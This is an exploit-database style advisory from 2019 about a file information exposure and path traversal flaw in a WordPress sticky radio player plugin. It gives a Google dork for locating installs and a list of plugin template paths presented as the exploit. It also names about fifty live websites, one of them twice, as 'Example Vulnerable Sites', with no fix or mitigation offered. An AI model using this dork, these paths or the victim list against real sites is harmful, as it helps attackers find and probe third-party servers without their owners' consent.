######################################################################################### # Exploit Title : WordPress lbg-audio5-html5-shoutcast_sticky 4.9.x File Information Exposure # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 14/01/2019 # Vendor Homepage : lambertgroupproductions.com # Software Download Link : codecanyon.net/item/sticky-radio-player-wordpress-plugin-full-width-shoutcast-and-icecast-html5-player/17162755 codecanyon.net/item/sticky-radio-player-full-width-shoutcast-and-icecast-html5-player/16897465 # Software Price : 15$ and 19$ # Tested On : Windows and Linux # Category : WebApps # Version Information : From 3.0 to 4.9.x # Exploit Risk : High # Google Dorks : inurl:"/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/" # Vulnerability Type : CWE-200 [ Information Exposure ] CWE-538 [ File and Directory Information Exposure ] CWE-22 [ Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') ] ######################################################################################### # Impact : ******** * WordPress lbg-audio5-html5-shoutcast_sticky 4.9.x and other versions is prone to an arbitrary file disclosure vulnerability because it fails to properly sanitize user-supplied input. * An attacker can exploit this vulnerability to view local files in the context of the web server process, which may aid in launching further attacks. * An information exposure is the intentional or unintentional disclosure of information to an actor that is not explicitly authorized to have access to that information. * The product stores sensitive information in files or directories that are accessible to actors outside of the intended control sphere. * The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. ######################################################################################### # Exploit : *********************** /wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php /wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php?page=LBG_AUDIO5_HTML5_SHOUTCAST_Manage_Categories /wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/categories.php /wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_player.php /wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_playlist_record.php /wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/overview.php /wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/overview.php?page=LBG_AUDIO5_HTML5_SHOUTCAST_Manage_Players /wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/overview.php?page=LBG_AUDIO5_HTML5_SHOUTCAST_Add_New /wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/overview.php?page=LBG_AUDIO5_HTML5_SHOUTCAST_Help /wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/help.php /wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/players.php /wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/preview.html /wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/playlist.php /wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/settings_form.php ######################################################################################### # Video Tutorials Installation - youtube.com/watch?v=AnhaPcIZUjc Manage the Categories and Playlist - youtube.com/watch?v=pZynu26UKbs How to insert the player into your website - youtube.com/watch?v=RY3ikHSdTNg ######################################################################################### # Example Vulnerable Sites : ************************* [+] frissfm.ro/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] radiopela.mk/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] onadesants.cat/wp/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] pensereal.com/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] ukieradio.com/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] giveme5prod.com/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] radyomedya.com.tr/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] radioplus.org.uk/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] thespyfm.com/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] mensajerofm.org/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] fmcidadejardim.com.br/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] fondationfemidejabat.com/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] superlivefm.com.br/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] unicolegio.com/home/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] radioe.net/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] radioarcadie.net/cercle/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] santaupdate.com/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] sahinfm.com.tr/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] horebradio.org/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] radiobanglanet.com/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] radiosantacruz.com.br/online/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] proyectovidamcym.com.uy/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] radiokontho.com/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] joltradio.org/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] misionvidainternacional.com/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] radio7.co.tz/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] dizzimonline.com/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] caraotaradio.net/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] escandalofm.com/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] koswradio.com/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] radio-busovaca.com/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] joltradio.org/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] eldesconcierto.com.ar/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] gunbitas.com/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] canarinhofm.com/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] resguardoicl.org/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] radiovioladeouro.com.br/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] cadenaradialjupiter.com/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] radyo-anadolu.com/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] buenaventuraenlinea.com/bradio/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] elfhq.com/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] radioserbona.rs/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] renewx.gq/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] radiociresarii.ro/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] vibez24.com.ng/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] lol-corsica.fr/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] confidencialacesse.com.br/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] radioparaisofm.cl/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] lapicosa.com.mx/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php [+] caraotaradio.ml/wp-content/plugins/lbg-audio5-html5-shoutcast_sticky/tpl/add_category.php ################################################################################################# # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team #################################################################################################